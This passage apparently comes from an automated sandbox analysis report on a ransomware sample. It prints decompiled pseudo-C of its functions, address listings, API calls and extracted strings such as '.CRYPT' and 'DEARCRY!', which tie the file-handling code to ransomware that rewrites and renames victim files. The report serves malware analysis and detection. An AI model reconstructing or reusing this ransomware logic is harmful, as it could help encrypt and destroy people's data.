                                                                							}
                                                                						} else {
                                                                							E00AB67B0(_t120, _t145, _t154, E00B8A3E6() + 0x20);
                                                                							_push(_t152);
                                                                							E00B8B1A7(_t120, _t138, _t145, _t152, _t170);
                                                                							_push( *((intOrPtr*)(_t163 + 0x1c)));
                                                                							L30:
                                                                							_t62 = E00B8B1A7(_t120, _t137, _t145, _t152, _t170);
                                                                							_t161 = _t163 + 0xc;
                                                                							goto L31;
                                                                						}
                                                                					}
                                                                				}
                                                                				L32:
                                                                				_pop(_t144);
                                                                				_pop(_t151);
                                                                				_pop(_t119);
                                                                				return E00B89C26(_t63, _t119,  *(_t161 + 0x5cc) ^ _t161, _t137, _t144, _t151);
                                                                			}





































                                                                0x00ab1231
                                                                0x00ab1254
                                                                0x00ab1267
                                                                0x00ab1273
                                                                0x00ab1278
                                                                0x00ab127b
                                                                0x00ab1281
                                                                0x00ab15ab
                                                                0x00ab15ab
                                                                0x00ab1287
                                                                0x00ab1287
                                                                0x00ab1294
                                                                0x00ab1299
                                                                0x00ab129b
                                                                0x00ab129e
                                                                0x00ab12a0
                                                                0x00000000
                                                                0x00ab12a6
                                                                0x00ab12b1
                                                                0x00ab12b9
                                                                0x00ab12c5
                                                                0x00ab12c7
                                                                0x00ab12c8
                                                                0x00ab12cd
                                                                0x00ab12ce
                                                                0x00ab12d0
                                                                0x00ab12d2
                                                                0x00ab12d7
                                                                0x00ab12e2
                                                                0x00ab12e2
                                                                0x00ab12ec
                                                                0x00ab12f1
                                                                0x00ab12f6
                                                                0x00ab12f8
                                                                0x00ab12f9
                                                                0x00ab12fa
                                                                0x00ab1301
                                                                0x00ab1304
                                                                0x00ab1309
                                                                0x00ab130c
                                                                0x00ab1310
                                                                0x00ab1312
                                                                0x00ab1332
                                                                0x00ab1333
                                                                0x00ab1339
                                                                0x00ab133b
                                                                0x00ab133c
                                                                0x00ab1341
                                                                0x00ab1345
                                                                0x00ab1346
                                                                0x00ab1347
                                                                0x00ab1349
                                                                0x00ab134a
                                                                0x00ab1353
                                                                0x00ab1356
                                                                0x00ab135b
                                                                0x00ab135c
                                                                0x00ab135f
                                                                0x00ab1364
                                                                0x00ab1365
                                                                0x00ab136b
                                                                0x00ab136d
                                                                0x00ab136e
                                                                0x00ab1376
                                                                0x00ab137b
                                                                0x00ab1385
                                                                0x00ab138a
                                                                0x00ab138b
                                                                0x00ab1394
                                                                0x00ab1396
                                                                0x00ab1397
                                                                0x00ab139c
                                                                0x00ab139f
                                                                0x00ab13a2
                                                                0x00ab13a5
                                                                0x00ab13ae
                                                                0x00ab13b4
                                                                0x00ab13bf
                                                                0x00ab13ce
                                                                0x00ab13db
                                                                0x00ab13f1
                                                                0x00ab13f6
                                                                0x00ab13f8
                                                                0x00ab13fb
                                                                0x00ab13fd
                                                                0x00ab148d
                                                                0x00ab148d
                                                                0x00ab1491
                                                                0x00ab149c
                                                                0x00ab14a5
                                                                0x00ab14a6
                                                                0x00ab14a7
                                                                0x00ab14a9
                                                                0x00ab14aa
                                                                0x00ab14b0
                                                                0x00ab14b5
                                                                0x00ab14b6
                                                                0x00ab14bb
                                                                0x00ab14bc
                                                                0x00ab14c1
                                                                0x00ab14c5
                                                                0x00ab14c7
                                                                0x00ab14c9
                                                                0x00ab14cb
                                                                0x00ab14cc
                                                                0x00ab14d1
                                                                0x00ab14d5
                                                                0x00ab14d8
                                                                0x00ab14da
                                                                0x00ab14ef
                                                                0x00ab14ef
                                                                0x00ab14dc
                                                                0x00ab14dc
                                                                0x00ab14e8
                                                                0x00ab14e8
                                                                0x00ab14de
                                                                0x00ab14de
                                                                0x00ab14e6
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab14e6
                                                                0x00ab14dc
                                                                0x00ab14f3
                                                                0x00ab14f7
                                                                0x00ab14fb
                                                                0x00ab14fd
                                                                0x00ab14ff
                                                                0x00000000
                                                                0x00ab1501
                                                                0x00ab1501
                                                                0x00ab1505
                                                                0x00ab1514
                                                                0x00ab1514
                                                                0x00ab1514
                                                                0x00ab1516
                                                                0x00ab1518
                                                                0x00ab151d
                                                                0x00ab151d
                                                                0x00ab1521
                                                                0x00ab1522
                                                                0x00ab1523
                                                                0x00ab1525
                                                                0x00ab152a
                                                                0x00ab152f
                                                                0x00ab1530
                                                                0x00ab1533
                                                                0x00ab1539
                                                                0x00ab153b
                                                                0x00ab153b
                                                                0x00ab153d
                                                                0x00ab153f
                                                                0x00ab1541
                                                                0x00ab1545
                                                                0x00ab155a
                                                                0x00ab155a
                                                                0x00ab1547
                                                                0x00ab1547
                                                                0x00ab1550
                                                                0x00ab1550
                                                                0x00ab1549
                                                                0x00ab1549
                                                                0x00ab154e
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab154e
                                                                0x00ab1547
                                                                0x00ab155e
                                                                0x00ab1560
                                                                0x00ab1561
                                                                0x00ab1562
                                                                0x00ab1563
                                                                0x00ab1568
                                                                0x00ab156b
                                                                0x00ab156d
                                                                0x00ab1510
                                                                0x00ab1510
                                                                0x00000000
                                                                0x00ab1510
                                                                0x00ab156f
                                                                0x00ab1571
                                                                0x00ab1575
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1575
                                                                0x00000000
                                                                0x00ab156f
                                                                0x00ab1514
                                                                0x00ab1505
                                                                0x00ab14ff
                                                                0x00ab1577
                                                                0x00ab1577
                                                                0x00ab1578
                                                                0x00ab1582
                                                                0x00ab1587
                                                                0x00ab158a
                                                                0x00ab1403
                                                                0x00ab1403
                                                                0x00ab1409
                                                                0x00ab140a
                                                                0x00ab140c
                                                                0x00ab1410
                                                                0x00ab1416
                                                                0x00ab1418
                                                                0x00ab1419
                                                                0x00ab141b
                                                                0x00ab141f
                                                                0x00ab1423
                                                                0x00ab142c
                                                                0x00ab1431
                                                                0x00ab143d
                                                                0x00ab1442
                                                                0x00ab1445
                                                                0x00ab1447
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1455
                                                                0x00ab1456
                                                                0x00ab1457
                                                                0x00ab1459
                                                                0x00ab145a
                                                                0x00ab145f
                                                                0x00ab1460
                                                                0x00ab1462
                                                                0x00ab1464
                                                                0x00ab1466
                                                                0x00ab1467
                                                                0x00ab1468
                                                                0x00ab1469
                                                                0x00ab146e
                                                                0x00ab147b
                                                                0x00ab1480
                                                                0x00ab1482
                                                                0x00ab1485
                                                                0x00ab1487
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1487
                                                                0x00ab1593
                                                                0x00ab1598
                                                                0x00ab1599
                                                                0x00ab159e
                                                                0x00ab15a2
                                                                0x00000000
                                                                0x00ab15a2
                                                                0x00ab1314
                                                                0x00ab131d
                                                                0x00ab1322
                                                                0x00ab1323
                                                                0x00ab132c
                                                                0x00ab15a3
                                                                0x00ab15a3
                                                                0x00ab15a8
                                                                0x00000000
                                                                0x00ab15a8
                                                                0x00ab1312
                                                                0x00ab12a0
                                                                0x00ab15ae
                                                                0x00ab15b5
                                                                0x00ab15b6
                                                                0x00ab15b8
                                                                0x00ab15c6

                                                                APIs
                                                                • lstrcpynA.KERNEL32(?), ref: 00AB1254
                                                                • lstrcatA.KERNEL32(?,.CRYPT), ref: 00AB1267
                                                                • _memset.LIBCMT ref: 00AB12B9
                                                                • _malloc.LIBCMT ref: 00AB12E6
                                                                  • Part of subcall function 00B8A294: __FF_MSGBANNER.LIBCMT ref: 00B8A2B7
                                                                  • Part of subcall function 00B8A294: __NMSG_WRITE.LIBCMT ref: 00B8A2BE
                                                                  • Part of subcall function 00B8A294: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,00B916F3,?,00000001,?,?,00B8FCCA,00000018,00BDFCA8,0000000C,00B8FD5B), ref: 00B8A30B
                                                                • _memset.LIBCMT ref: 00AB12F1
                                                                • __stat64.LIBCMT ref: 00AB1385
                                                                • __fread_nolock.LIBCMT ref: 00AB13F1
                                                                  • Part of subcall function 00B8B1A7: __lock_file.LIBCMT ref: 00B8B1F7
                                                                  • Part of subcall function 00B8B1A7: __fclose_nolock.LIBCMT ref: 00B8B201
                                                                Strings
                                                                • .CRYPT, xrefs: 00AB125A
                                                                • DEARCRY!, xrefs: 00AB12D2
                                                                • rb+, xrefs: 00AB126D
                                                                • AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, xrefs: 00AB1525
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset$AllocateHeap__fclose_nolock__fread_nolock__lock_file__stat64_malloclstrcatlstrcpyn
                                                                • String ID: .CRYPT$AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$DEARCRY!$rb+
                                                                • API String ID: 3584694502-1242759397
                                                                • Opcode ID: d5634c3e1664d36c21a3f13334ddb9417af3923960478088d4601ef99c37e9cc
                                                                • Instruction ID: 21643e1f5bee6f426804cd48e6a83bc0fa0de8512c7af7c84ab0946915d198d8
                                                                • Opcode Fuzzy Hash: d5634c3e1664d36c21a3f13334ddb9417af3923960478088d4601ef99c37e9cc
                                                                • Instruction Fuzzy Hash: 6C91E4B16583006BE220FB648C92FAF76EDEFC4700F44091DF64596292EBB5E905C763
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 85%
                                                                			E00B8A984(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
                                                                				signed int _v8;
                                                                				char* _v12;
                                                                				signed int _v16;
                                                                				signed int _v20;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				void* __ebp;
                                                                				signed int _t90;
                                                                				intOrPtr* _t92;
                                                                				signed int _t94;
                                                                				char _t97;
                                                                				signed int _t105;
                                                                				void* _t106;
                                                                				signed int _t107;
                                                                				signed int _t110;
                                                                				signed int _t113;
                                                                				intOrPtr* _t114;
                                                                				signed int _t118;
                                                                				signed int _t119;
                                                                				signed int _t120;
                                                                				char* _t121;
                                                                				signed int _t125;
                                                                				signed int _t131;
                                                                				signed int _t133;
                                                                				void* _t134;
                                                                
                                                                				_t125 = __edx;
                                                                				_t121 = _a4;
                                                                				_t119 = _a8;
                                                                				_t131 = 0;
                                                                				_v12 = _t121;
                                                                				_v8 = _t119;
                                                                				if(_a12 == 0 || _a16 == 0) {
                                                                					L5:
                                                                					return 0;
                                                                				} else {
                                                                					_t138 = _t121;
                                                                					if(_t121 != 0) {
                                                                						_t133 = _a20;
                                                                						__eflags = _t133;
                                                                						if(_t133 == 0) {
                                                                							L9:
                                                                							__eflags = _t119 - 0xffffffff;
                                                                							if(_t119 != 0xffffffff) {
                                                                								_t90 = E00B8BB40(_t131, _t121, _t131, _t119);
                                                                								_t134 = _t134 + 0xc;
                                                                							}
                                                                							__eflags = _t133 - _t131;
                                                                							if(__eflags == 0) {
                                                                								goto L3;
                                                                							} else {
                                                                								_t94 = _t90 | 0xffffffff;
                                                                								_t125 = _t94 % _a12;
                                                                								__eflags = _a16 - _t94 / _a12;
                                                                								if(__eflags > 0) {
                                                                									goto L3;
                                                                								}
                                                                								L13:
                                                                								_t131 = _a12 * _a16;
                                                                								__eflags =  *(_t133 + 0xc) & 0x0000010c;
                                                                								_v20 = _t131;
                                                                								_t120 = _t131;
                                                                								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
                                                                									_v16 = 0x1000;
                                                                								} else {
                                                                									_v16 =  *((intOrPtr*)(_t133 + 0x18));
                                                                								}
                                                                								__eflags = _t131;
                                                                								if(_t131 == 0) {
                                                                									L40:
                                                                									return _a16;
                                                                								} else {
                                                                									do {
                                                                										__eflags =  *(_t133 + 0xc) & 0x0000010c;
                                                                										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
                                                                											L24:
                                                                											__eflags = _t120 - _v16;
                                                                											if(_t120 < _v16) {
                                                                												_t97 = E00B923C3(_t120, _t125, _t133); // executed
                                                                												__eflags = _t97 - 0xffffffff;
                                                                												if(_t97 == 0xffffffff) {
                                                                													L48:
                                                                													return (_t131 - _t120) / _a12;
                                                                												}
                                                                												__eflags = _v8;
                                                                												if(_v8 == 0) {
                                                                													L44:
                                                                													__eflags = _a8 - 0xffffffff;
                                                                													if(__eflags != 0) {
                                                                														E00B8BB40(_t131, _a4, 0, _a8);
                                                                														_t134 = _t134 + 0xc;
                                                                													}
                                                                													 *((intOrPtr*)(E00B8D8C9(__eflags))) = 0x22;
                                                                													_push(0);
                                                                													_push(0);
                                                                													_push(0);
                                                                													_push(0);
                                                                													_push(0);
                                                                													L4:
                                                                													E00B8FB6E(_t125, _t131, _t133);
                                                                													goto L5;
                                                                												}
                                                                												_t123 = _v12;
                                                                												_v12 = _v12 + 1;
                                                                												 *_v12 = _t97;
                                                                												_t120 = _t120 - 1;
                                                                												_t70 =  &_v8;
                                                                												 *_t70 = _v8 - 1;
                                                                												__eflags =  *_t70;
                                                                												_v16 =  *((intOrPtr*)(_t133 + 0x18));
                                                                												goto L39;
                                                                											}
                                                                											__eflags = _v16;
                                                                											if(_v16 == 0) {
                                                                												_t105 = 0x7fffffff;
                                                                												__eflags = _t120 - 0x7fffffff;
                                                                												if(_t120 <= 0x7fffffff) {
                                                                													_t105 = _t120;
                                                                												}
                                                                											} else {
                                                                												__eflags = _t120 - 0x7fffffff;
                                                                												if(_t120 <= 0x7fffffff) {
                                                                													_t55 = _t120 % _v16;
                                                                													__eflags = _t55;
                                                                													_t125 = _t55;
                                                                													_t110 = _t120;
                                                                												} else {
                                                                													_t125 = 0x7fffffff % _v16;
                                                                													_t110 = 0x7fffffff;
                                                                												}
                                                                												_t105 = _t110 - _t125;
                                                                											}
                                                                											__eflags = _t105 - _v8;
                                                                											if(_t105 > _v8) {
                                                                												goto L44;
                                                                											} else {
                                                                												_push(_t105);
                                                                												_push(_v12);
                                                                												_t106 = E00B8D3F3(_t133);
                                                                												_pop(_t123);
                                                                												_push(_t106); // executed
                                                                												_t107 = E00B92AB0(_t120, _t125, _t131, _t133, __eflags); // executed
                                                                												_t134 = _t134 + 0xc;
                                                                												__eflags = _t107;
                                                                												if(_t107 == 0) {
                                                                													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
                                                                													goto L48;
                                                                												}
                                                                												__eflags = _t107 - 0xffffffff;
                                                                												if(_t107 == 0xffffffff) {
                                                                													L47:
                                                                													_t80 = _t133 + 0xc;
                                                                													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
                                                                													__eflags =  *_t80;
                                                                													goto L48;
                                                                												}
                                                                												_v12 = _v12 + _t107;
                                                                												_t120 = _t120 - _t107;
                                                                												_v8 = _v8 - _t107;
                                                                												goto L39;
                                                                											}
                                                                										}
                                                                										_t113 =  *(_t133 + 4);
                                                                										__eflags = _t113;
                                                                										if(__eflags == 0) {
                                                                											goto L24;
                                                                										}
                                                                										if(__eflags < 0) {
                                                                											goto L47;
                                                                										}
                                                                										_t131 = _t120;
                                                                										__eflags = _t120 - _t113;
                                                                										if(_t120 >= _t113) {
                                                                											_t131 = _t113;
                                                                										}
                                                                										__eflags = _t131 - _v8;
                                                                										if(_t131 > _v8) {
                                                                											_t133 = 0;
                                                                											__eflags = _a8 - 0xffffffff;
                                                                											if(__eflags != 0) {
                                                                												E00B8BB40(_t131, _a4, 0, _a8);
                                                                												_t134 = _t134 + 0xc;
                                                                											}
                                                                											_t114 = E00B8D8C9(__eflags);
                                                                											_push(_t133);
                                                                											_push(_t133);
                                                                											_push(_t133);
                                                                											_push(_t133);
                                                                											 *_t114 = 0x22;
                                                                											_push(_t133);
                                                                											goto L4;
                                                                										} else {
                                                                											E00B92BAD(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
                                                                											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
                                                                											 *_t133 =  *_t133 + _t131;
                                                                											_v12 = _v12 + _t131;
                                                                											_t120 = _t120 - _t131;
                                                                											_t134 = _t134 + 0x10;
                                                                											_v8 = _v8 - _t131;
                                                                											_t131 = _v20;
                                                                										}
                                                                										L39:
                                                                										__eflags = _t120;
                                                                									} while (_t120 != 0);
                                                                									goto L40;
                                                                								}
                                                                							}
                                                                						}
                                                                						_t118 = _t90 | 0xffffffff;
                                                                						_t90 = _t118 / _a12;
                                                                						_t125 = _t118 % _a12;
                                                                						__eflags = _a16 - _t90;
                                                                						if(_a16 <= _t90) {
                                                                							goto L13;
                                                                						}
                                                                						goto L9;
                                                                					}
                                                                					L3:
                                                                					_t92 = E00B8D8C9(_t138);
                                                                					_push(_t131);
                                                                					_push(_t131);
                                                                					_push(_t131);
                                                                					_push(_t131);
                                                                					 *_t92 = 0x16;
                                                                					_push(_t131);
                                                                					goto L4;
                                                                				}
                                                                			}





























                                                                0x00b8a984
                                                                0x00b8a98c
                                                                0x00b8a990
                                                                0x00b8a995
                                                                0x00b8a997
                                                                0x00b8a99a
                                                                0x00b8a9a0
                                                                0x00b8a9c3
                                                                0x00000000
                                                                0x00b8a9a7
                                                                0x00b8a9a7
                                                                0x00b8a9a9
                                                                0x00b8a9ca
                                                                0x00b8a9cd
                                                                0x00b8a9cf
                                                                0x00b8a9de
                                                                0x00b8a9de
                                                                0x00b8a9e1
                                                                0x00b8a9e6
                                                                0x00b8a9eb
                                                                0x00b8a9eb
                                                                0x00b8a9ee
                                                                0x00b8a9f0
                                                                0x00000000
                                                                0x00b8a9f2
                                                                0x00b8a9f2
                                                                0x00b8a9f7
                                                                0x00b8a9fa
                                                                0x00b8a9fd
                                                                0x00000000
                                                                0x00000000
                                                                0x00b8a9ff
                                                                0x00b8aa02
                                                                0x00b8aa06
                                                                0x00b8aa0d
                                                                0x00b8aa10
                                                                0x00b8aa12
                                                                0x00b8aa1c
                                                                0x00b8aa14
                                                                0x00b8aa17
                                                                0x00b8aa17
                                                                0x00b8aa23
                                                                0x00b8aa25
                                                                0x00b8ab15
                                                                0x00000000
                                                                0x00b8aa2b
                                                                0x00b8aa2b
                                                                0x00b8aa2b
                                                                0x00b8aa32
                                                                0x00b8aa78
                                                                0x00b8aa78
                                                                0x00b8aa7b
                                                                0x00b8aae6
                                                                0x00b8aaec
                                                                0x00b8aaef
                                                                0x00b8ab7a
                                                                0x00000000
                                                                0x00b8ab80
                                                                0x00b8aaf5
                                                                0x00b8aaf9
                                                                0x00b8ab49
                                                                0x00b8ab49
                                                                0x00b8ab4d
                                                                0x00b8ab57
                                                                0x00b8ab5c
                                                                0x00b8ab5c
                                                                0x00b8ab64
                                                                0x00b8ab6c
                                                                0x00b8ab6d
                                                                0x00b8ab6e
                                                                0x00b8ab6f
                                                                0x00b8ab70
                                                                0x00b8a9bb
                                                                0x00b8a9bb
                                                                0x00000000
                                                                0x00b8a9c0
                                                                0x00b8aafb
                                                                0x00b8aafe
                                                                0x00b8ab01
                                                                0x00b8ab06
                                                                0x00b8ab07
                                                                0x00b8ab07
                                                                0x00b8ab07
                                                                0x00b8ab0a
                                                                0x00000000
                                                                0x00b8ab0a
                                                                0x00b8aa7d
                                                                0x00b8aa81
                                                                0x00b8aaa2
                                                                0x00b8aaa7
                                                                0x00b8aaa9
                                                                0x00b8aaab
                                                                0x00b8aaab
                                                                0x00b8aa83
                                                                0x00b8aa8a
                                                                0x00b8aa8c
                                                                0x00b8aa99
                                                                0x00b8aa99
                                                                0x00b8aa99
                                                                0x00b8aa9c
                                                                0x00b8aa8e
                                                                0x00b8aa90
                                                                0x00b8aa93
                                                                0x00b8aa93
                                                                0x00b8aa9e
                                                                0x00b8aa9e
                                                                0x00b8aaad
                                                                0x00b8aab0
                                                                0x00000000
                                                                0x00b8aab6
                                                                0x00b8aab6
                                                                0x00b8aab7
                                                                0x00b8aabb
                                                                0x00b8aac0
                                                                0x00b8aac1
                                                                0x00b8aac2
                                                                0x00b8aac7
                                                                0x00b8aaca
                                                                0x00b8aacc
                                                                0x00b8ab88
                                                                0x00000000
                                                                0x00b8ab88
                                                                0x00b8aad2
                                                                0x00b8aad5
                                                                0x00b8ab76
                                                                0x00b8ab76
                                                                0x00b8ab76
                                                                0x00b8ab76
                                                                0x00000000
                                                                0x00b8ab76
                                                                0x00b8aadb
                                                                0x00b8aade
                                                                0x00b8aae0
                                                                0x00000000
                                                                0x00b8aae0
                                                                0x00b8aab0
                                                                0x00b8aa34
                                                                0x00b8aa37
                                                                0x00b8aa39
                                                                0x00000000
                                                                0x00000000
                                                                0x00b8aa3b
                                                                0x00000000
                                                                0x00000000
                                                                0x00b8aa41
                                                                0x00b8aa43
                                                                0x00b8aa45
                                                                0x00b8aa47
                                                                0x00b8aa47
                                                                0x00b8aa49
                                                                0x00b8aa4c
                                                                0x00b8ab1d
                                                                0x00b8ab1f
                                                                0x00b8ab23
                                                                0x00b8ab2c
                                                                0x00b8ab31
                                                                0x00b8ab31
                                                                0x00b8ab34
                                                                0x00b8ab39
                                                                0x00b8ab3a
                                                                0x00b8ab3b
                                                                0x00b8ab3c
                                                                0x00b8ab3d
                                                                0x00b8ab43
                                                                0x00000000
                                                                0x00b8aa52
                                                                0x00b8aa5b
                                                                0x00b8aa60
                                                                0x00b8aa63
                                                                0x00b8aa65
                                                                0x00b8aa68
                                                                0x00b8aa6a
                                                                0x00b8aa6d
                                                                0x00b8aa70
                                                                0x00b8aa70
                                                                0x00b8ab0d
                                                                0x00b8ab0d
                                                                0x00b8ab0d
                                                                0x00000000
                                                                0x00b8aa2b
                                                                0x00b8aa25
                                                                0x00b8a9f0
                                                                0x00b8a9d1
                                                                0x00b8a9d6
                                                                0x00b8a9d6
                                                                0x00b8a9d9
                                                                0x00b8a9dc
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00b8a9dc
                                                                0x00b8a9ab
                                                                0x00b8a9ab
                                                                0x00b8a9b0
                                                                0x00b8a9b1
                                                                0x00b8a9b2
                                                                0x00b8a9b3
                                                                0x00b8a9b4
                                                                0x00b8a9ba
                                                                0x00000000
                                                                0x00b8a9ba

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                • String ID:
                                                                • API String ID: 3886058894-0
                                                                • Opcode ID: f4a219d403e3402404f687f20ce666abf1e957fd9eb65b1326e34f0e223bcd6a
                                                                • Instruction ID: 6f51991297399da88548332141e905213e7253d4db590734b97cd9564f8b1e5c
                                                                • Opcode Fuzzy Hash: f4a219d403e3402404f687f20ce666abf1e957fd9eb65b1326e34f0e223bcd6a
                                                                • Instruction Fuzzy Hash: 2D51B631900605EFEB24BF69C98499EBBF5EF81320F1486ABF425A21F1D7709E51CB52
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 85%
                                                                			E00AB1A36(void* __eax, char** __ebx, intOrPtr* __esi) {
                                                                				int _t89;
                                                                				intOrPtr* _t90;
                                                                				char** _t91;
                                                                				intOrPtr* _t92;
                                                                				void* _t100;
                                                                				intOrPtr* _t101;
                                                                				char** _t103;
                                                                				char** _t104;
                                                                				char** _t109;
                                                                				char** _t110;
                                                                				intOrPtr* _t111;
                                                                				char** _t112;
                                                                				char* _t115;
                                                                				char** _t116;
                                                                				char _t119;
                                                                				intOrPtr* _t120;
                                                                				char** _t123;
                                                                				intOrPtr* _t124;
                                                                				intOrPtr* _t126;
                                                                				char** _t130;
                                                                				char** _t132;
                                                                				intOrPtr* _t135;
                                                                				void* _t137;
                                                                				intOrPtr* _t138;
                                                                				intOrPtr* _t140;
                                                                				void* _t144;
                                                                				intOrPtr* _t149;
                                                                				char _t153;
                                                                				intOrPtr* _t154;
                                                                				void* _t158;
                                                                				intOrPtr _t165;
                                                                				char** _t166;
                                                                				char** _t168;
                                                                				char** _t169;
                                                                				char** _t171;
                                                                				char* _t172;
                                                                				char* _t173;
                                                                				char** _t174;
                                                                				char** _t176;
                                                                				char* _t178;
                                                                				char** _t179;
                                                                				intOrPtr _t180;
                                                                				intOrPtr _t181;
                                                                				intOrPtr _t182;
                                                                				intOrPtr _t184;
                                                                				void* _t186;
                                                                				void* _t187;
                                                                				char* _t191;
                                                                				char** _t194;
                                                                				char** _t195;
                                                                				void* _t198;
                                                                				void* _t199;
                                                                				void* _t200;
                                                                				char** _t201;
                                                                				signed int _t202;
                                                                				char** _t204;
                                                                				char** _t205;
                                                                				void* _t206;
                                                                				void* _t207;
                                                                				void* _t210;
                                                                				intOrPtr* _t211;
                                                                				void* _t212;
                                                                				signed int _t213;
                                                                				void* _t215;
                                                                				void* _t219;
                                                                				void* _t220;
                                                                				void* _t221;
                                                                				void* _t222;
                                                                
                                                                				_t211 = __esi;
                                                                				_t157 = __ebx;
                                                                				while(1) {
                                                                					L49:
                                                                					_t168 =  *((intOrPtr*)(_t213 + _t100 - 0xf98));
                                                                					 *((char*)(_t213 + _t100 - 0x568)) = _t168;
                                                                					_t100 = _t100 + 1;
                                                                					__eflags = _t168;
                                                                					if(_t168 != 0) {
                                                                						continue;
                                                                					}
                                                                					L50:
                                                                					_t201 = 0;
                                                                					__eflags = 0;
                                                                					_t101 = _t213 - 0x568;
                                                                					_t185 = _t101 + 1;
                                                                					do {
                                                                						_t169 =  *_t101;
                                                                						_t101 = _t101 + 1;
                                                                						__eflags = _t169;
                                                                					} while (_t169 != 0);
                                                                					__eflags = _t101 != _t185;
                                                                					if(_t101 != _t185) {
                                                                						do {
                                                                							_t119 = E00B8AFFA( *((char*)(_t213 + _t201 - 0x568)));
                                                                							_t215 = _t215 + 4;
                                                                							 *((char*)(_t213 + _t201 - 0x568)) = _t119;
                                                                							_t201 =  &(_t201[0]);
                                                                							__eflags = _t201;
                                                                							_t120 = _t213 - 0x568;
                                                                							_t185 = _t120 + 1;
                                                                							do {
                                                                								_t176 =  *_t120;
                                                                								_t120 = _t120 + 1;
                                                                								__eflags = _t176;
                                                                							} while (_t176 != 0);
                                                                							__eflags = _t201 - _t120 - _t185;
                                                                						} while (_t201 < _t120 - _t185);
                                                                					}
                                                                					_t202 = 0;
                                                                					__eflags =  *0xde9ef0;
                                                                					if( *0xde9ef0 != 0) {
                                                                						_t115 = 0xde9ef0;
                                                                						while(1) {
                                                                							_t185 = _t213 - 0x568;
                                                                							_t116 = E00B8A360(_t213 - 0x568, _t115);
                                                                							_t215 = _t215 + 8;
                                                                							__eflags = _t116;
                                                                							if(_t116 != 0) {
                                                                								break;
                                                                							}
                                                                							_t202 = _t202 + 1;
                                                                							_t115 = 0xde9ef0 + _t202 * 0xff;
                                                                							__eflags =  *_t115;
                                                                							if( *_t115 != 0) {
                                                                								continue;
                                                                							} else {
                                                                							}
                                                                							goto L63;
                                                                						}
                                                                						 *((char*)(_t213 - 0x15f1)) = 0;
                                                                					}
                                                                					L63:
                                                                					_t204 = _t213 - 0xf97;
                                                                					__eflags = _t204;
                                                                					do {
                                                                						_t103 = _t204[0];
                                                                						_t204 =  &(_t204[0]);
                                                                						__eflags = _t103;
                                                                					} while (_t103 != 0);
